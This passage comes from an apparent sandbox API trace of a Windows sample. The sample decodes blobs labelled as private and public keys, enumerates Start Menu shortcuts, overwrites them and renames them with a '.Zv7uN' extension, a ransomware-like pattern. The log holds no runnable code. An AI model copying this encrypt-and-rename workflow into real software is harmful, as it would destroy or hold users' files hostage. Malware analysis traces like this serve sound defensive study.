qThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.846] GetCurrentThreadId () returned 0xa30 [0131.846] GetCurrentThreadId () returned 0xa30 [0131.846] GetCurrentThreadId () returned 0xa30 [0131.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.847] GetCurrentThreadId () returned 0xa30 [0131.847] GetCurrentThreadId () returned 0xa30 [0131.847] GetCurrentThreadId () returned 0xa30 [0131.847] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0131.847] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0131.847] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0131.847] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4e0 [0131.848] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0131.848] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x4e0, lpOverlapped=0x0) returned 1 [0131.851] CloseHandle (hObject=0x1dc) returned 1 [0131.851] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0131.853] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x4e0, lpOverlapped=0x0) returned 1 [0131.855] CloseHandle (hObject=0x1dc) returned 1 [0131.860] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk.zv7un")) returned 1 [0131.862] GetCurrentThreadId () returned 0xa30 [0131.862] GetCurrentThreadId () returned 0xa30 [0131.862] GetCurrentThreadId () returned 0xa30 [0131.862] GetCurrentThreadId () returned 0xa30 [0131.862] GetCurrentThreadId () returned 0xa30 [0131.862] GetCurrentThreadId () returned 0xa30 [0131.862] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0f3952, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0f3952, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0131.862] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0131.862] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.863] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x29825fb5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1 [0131.863] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0131.863] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.863] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x29825fb5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50a)) returned 1 [0131.865] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk")) returned 0x20 [0131.865] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk", dwFileAttributes=0x80) returned 1 [0131.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.867] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 